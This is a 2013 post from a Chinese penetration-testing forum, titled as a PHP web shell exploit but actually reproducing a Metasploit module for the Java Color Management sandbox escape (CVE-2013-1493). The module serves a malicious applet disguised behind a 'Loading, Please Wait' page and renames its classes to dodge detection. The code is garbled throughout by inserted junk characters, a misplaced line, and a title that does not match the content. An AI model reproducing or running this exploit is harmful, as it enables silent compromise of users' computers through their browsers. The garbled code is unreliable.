中国网络渗透测试联盟

标题: STUNSHELL PHP Web Shell远程执行代码 [打印本页]

作者: admin    时间: 2013-4-4 17:31
标题: STUNSHELL PHP Web Shell远程执行代码
##
9 E- ^; {5 x0 B5 F6 A0 O& b1 I5 [4 [( b* B1 j# e) @
# This file is part of the Metasploit Framework and may be subject to
. ^7 F9 e4 T- h8 r* N* k4 w# redistribution and commercial restrictions. Please see the Metasploit7 r  L7 e( F* }! J. X3 {* {
# web site for more information on licensing and terms of use." x6 q7 F- Q! O) h; t, k) o3 {
# http://metasploit.com/& F* r5 D) J' q9 ?9 y7 G$ \
##8 B3 @4 D# M* w5 E% s
require ‘msf/core’4 e9 {+ g! k7 J1 A
require ‘rex’, q1 }9 q8 \' k  U0 F# Q" f
class Metasploit3 < Msf::Exploit::Remote% [/ a" {6 F+ o
Rank = NormalRanking
2 a3 g4 p, d, M& R7 v! m7 G! V9 Kinclude Msf::Exploit::Remote::HttpServer::HTML8 _; o( B6 R2 q+ D9 \9 v
include Msf::Exploit::EXE
! Z2 S; E. X( M% Z, X2 binclude Msf::Exploit::Remote::BrowserAutopwn( O) q$ c: ]0 g& o, D: T6 \) `
autopwn_info({ :javascript => false })$ Z: g3 x2 j, K9 d* R$ j0 u
def initialize( info = {} )# _$ \& Z  ?: s6 _* V8 z- T
super( update_info( info,7 o7 k. g3 D7 T& q
‘Name’ => ‘Java CMM Remote Code Execution’,
+ B6 Z( m  b! ^" `‘Description’ => %q{5 [. p7 Y' p# Q$ g
This module abuses the Color Management classes from a Java Applet to run" C+ j5 P2 K; @- |' N+ n9 N
arbitrary Java code outside of the sandbox as exploited in the wild in February! w5 u9 S* `& P) y( Q* \
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u411 N) O, j  P4 |) T
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
% k8 U- R4 e) M3 b1 A7 k" K) w# dsystems. This exploit doesn’t bypass click-to-play, so the user must accept the java
% u/ q% w1 \/ G8 y- f% C0 u5 mwarning in order to run the malicious applet.
8 v5 L9 g2 l6 {# n" p  i+ M},
! b. Y3 H! F# N# q. v2 `‘License’ => MSF_LICENSE,0 y$ K4 k& b! N4 ?" U  J8 K) G
‘Author’ =>
. U9 X9 m1 w) r/ ^'Unknown', # Vulnerability discovery and Exploit+ V1 p5 U9 ^" C% F% w1 z7 p
'juan vazquez' # Metasploit module (just ported the published exploit)
+ a( ]. b/ B" P5 i],
) x$ r8 g+ _1 R0 m+ @( V‘References’ =>
" B! C; V) e$ V# X[
/ `" Q* s  t1 y% S- }. U9 j[ 'CVE', '2013-1493' ],& Z0 k$ T! Z2 |1 C: b) R3 c  L
[ 'OSVDB', '90737' ],2 }& ~. z/ }! j9 d
[ 'BID', '58238' ],
, r4 t" Q, C2 V[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
- u& {. t$ k+ _4 B7 M: V- U( a[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],: I; ~% B! _5 ?3 l( |. G
[ 'URL', 'http://pastie.org/pastes/6581034' ]) g, c/ j. v5 `: |) I* P
],/ B, r3 x0 R1 n: `6 q
‘Platform’ => [ 'win', 'java' ],# |/ v# l8 v8 p# \
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
: x% ^2 m( t5 J) \‘Targets’ =>
) o% e6 n+ m+ i[
6 X+ N3 Z1 d6 l[ 'Generic (Java Payload)',
, Y# G& T0 {0 X{
7 m8 N! ]9 R' J4 h9 n% J6 j! E0 k'Platform' => 'java',1 K8 z+ t5 D# y# s4 a/ c9 F' N5 k
'Arch' => ARCH_JAVA
% S6 ?, m# q) k2 E" C- O+ w}
+ I* O/ x+ V& [$ K1 `0 G1 G],% c  k1 Y* X1 d0 p0 b
[ 'Windows x86 (Native Payload)',! J; p8 X* p, ^2 q* C+ ]  L
{
& P* }6 f8 h& _' \; |7 }; h'Platform' => 'win',1 w: l* M- U4 h/ p: A
'Arch' => ARCH_X863 y' _, |2 ?: J' K. F3 Q
}5 Z) g$ b1 W0 J
]
) o4 M& f# I/ v2 u2 S# j],4 q( p1 p3 q3 q" _' r& o( _9 q; g
‘‘DisclosureDate’ => ‘Mar 01 2013′
; t1 p, p# [( x9 `- H" [8 `9 O' H))# E/ J5 D' B& y6 ~: y& ?; B$ B6 J- g- u
end3 y) z+ d# L8 S
def setup7 }  D7 \7 y& n0 I  R& I
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”); L: ?/ ^- l$ i* q! E) m; V
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }3 R; o# R" C. {- V& G, v# L
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)4 ]( P( d- \9 p) s6 r8 ?$ x6 ]
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }5 E$ t" T9 g4 D! i8 r7 B$ T2 B* Z
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)+ Q( Y. f# e& h: }* K" B
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }& s8 q, n4 p" X) n1 y* ?
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
5 u. T7 _. I: q" s( L- {0 p@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }1 X( w, U( O  N
@init_class_name = rand_text_alpha(“Init”.length)& U# x& F, K; H' s) W, O$ K; u
@init_class.gsub!(“Init”, @init_class_name)
% Y: v8 Y2 Q) M& n1 b' Asuper
$ n3 d( q/ |- O+ h9 wend7 p) ^9 w! p1 c2 X8 p% a; m3 F
def on_request_uri(cli, request)9 ?& b6 n: P5 E' V  n& _
print_status(“handling request for #{request.uri}”)( s; a5 g& A1 m! S' J. y
case request.uri3 P) @/ i* F% w" l/ z5 ~1 Q$ |
when /\.jar$/i
  q) G( y$ H2 ojar = payload.encoded_jar# X% o9 j+ n& ~0 m1 ?
jar.add_file(“#{@init_class_name}.class”, @init_class)
4 D* d5 j8 p' R! x  H+ v' K6 J3 ^$ Zjar.add_file(“Leak.class”, @leak_class)
+ N' A8 O! i% \: l* `# n# Mjar.add_file(“MyBufferedImage.class”, @buffered_image_class)
3 \! f9 _+ p6 M0 njar.add_file(“MyColorSpace.class”, @color_space_class); L4 A( ^# S. i) E' l
DefaultTarget’ => 1,! N) O0 l; S% R: V5 u
metasploit_str = rand_text_alpha(“metasploit”.length)( I# s6 |) c4 B
payload_str = rand_text_alpha(“payload”.length)
: Q. m& n+ s: @5 V$ ?jar.entries.each { |entry|
9 u. O) B5 i' b9 A2 E+ r9 fentry.name.gsub!(“metasploit”, metasploit_str)
* u- i. T, b0 B# Ientry.name.gsub!(“Payload”, payload_str)- Z* `$ U4 ^$ n' f! H
entry.data = entry.data.gsub(“metasploit”, metasploit_str)7 _# Y' z6 k" k  U5 X) _. R
entry.data = entry.data.gsub(“Payload”, payload_str)$ b8 a+ G: l* u# N
}
7 x3 ?4 I8 |6 V8 F7 }4 {& Q0 A% P# Njar.build_manifest
$ t) ^! o4 Z  f  L- O! rsend_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })( V/ J2 P! F( W9 @5 {% v! s1 E
when /\/$/
$ g1 i1 g+ C. q0 q0 Vpayload = regenerate_payload(cli)7 H% f# Y1 |) j
if not payload. s, {: R/ I. Y# u2 C9 m& }
print_error(“Failed to generate the payload.”)
  u7 I! t( ?8 ~' F0 J1 tsend_not_found(cli)# B( F  r- o" k( n  S6 ~' l* n
return
+ Y$ }, V5 w# w* K: c# p1 uend6 ]0 `7 t, ?$ A! S, w' v
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
& k8 _# h4 U8 `. Pelse. U4 p3 h6 P- S" n6 o& G6 y  b- p
send_redirect(cli, get_resource() + ‘/’, ”)
+ D9 M% `. I6 I' a5 Vend
! n% C6 m6 [$ o' |end5 H0 m' X& g4 ?7 ?- _
def generate_html& l& V7 |* t1 A: a+ n3 q3 b
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
( N# ^* S  ~4 w& h+ o) @6 X9 Qhtml += %Q|<body><center><p>Loading, Please Wait…</p></center>|: G. @2 j- M! {3 y/ x" d" Y- o
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|3 N0 f3 U" U$ D7 c. t$ f3 s
html += %Q|</applet></body></html>|% ~+ c# y7 g- |. h% q
return html* ?0 s/ t  e6 W- q5 J8 V8 |
end4 g# y) e3 g1 B9 f
end$ C, L1 n4 X: u& v6 g
end
" U9 U% s1 V" q3 W1 e0 n/ n




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2